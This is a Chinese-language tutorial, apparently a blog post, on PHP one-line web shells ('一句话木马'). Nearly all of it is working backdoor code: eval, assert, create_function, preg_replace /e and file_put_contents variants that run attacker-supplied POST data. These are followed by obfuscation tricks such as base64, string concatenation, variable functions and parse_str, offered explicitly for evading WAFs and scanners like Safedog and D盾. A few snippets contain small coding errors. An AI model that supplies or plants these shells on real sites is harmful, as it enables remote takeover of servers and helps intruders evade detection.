什么是一句话木马


我们如何发送命令,发送的命令如何执行?

例如:

其中eval就是执行命令的函数,$_POST['a']就是接收的数据。eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。这便是一句话木马的强大之处。

示例:

使用 其他函数制作一句话木马


assert函数

#
<?php assert(@$_POST['a']); ?>
create_function函数
<?php
$fun = create_function('',$_POST['a']);
$fun();
?>

call_user_func回调函数

#
<?php
@call_user_func(assert,$_POST['a']);
?>

preg_replace函数

#
<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>

file_put_contents函数

#
<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>

如何让一句话木马绕过waf ?

PHP变量函数

#
<?php
$a = "eval";
$a(@$_POST['a']);
?>

PHP可变变量

#
<?php
$bb="eval";
$a="bb";
$$aa($_POST['a']);
?>

str_replace函数

#
<?php
$a=str_replace("Waldo", "", "eWaldoval");
$a(@$_POST['a']);
?>

base64_decode函数

#
<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>

"."操作符

#
<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>

parse_str函数

#
<?php
$str="a=eval";
parse_str($str);
$a($_POST['a']);
?>

更多技巧...

多实战,多谷歌! 上述六种技巧每一种单独使用都不能绕过waf,但是与 第三大点提到的函数混合起来使用,就可以顺利的欺骗waf。 tips:使用一句话木马的时候可以在函数前加”@”符,这个符号让php语句不显示错误信息,增加隐蔽性。


再来一个小栗子

#
<?php
function fun()
{return $_POST['a'];}
@preg_replace("/test/e",fun(),"test test test");
?>

这里又有一个技巧,创建函数 fun(),返回post中“a”的数据。我的这个例子很明显是一句话木马,但是安全狗却扫不出,D盾也是如此。

05-28 18:39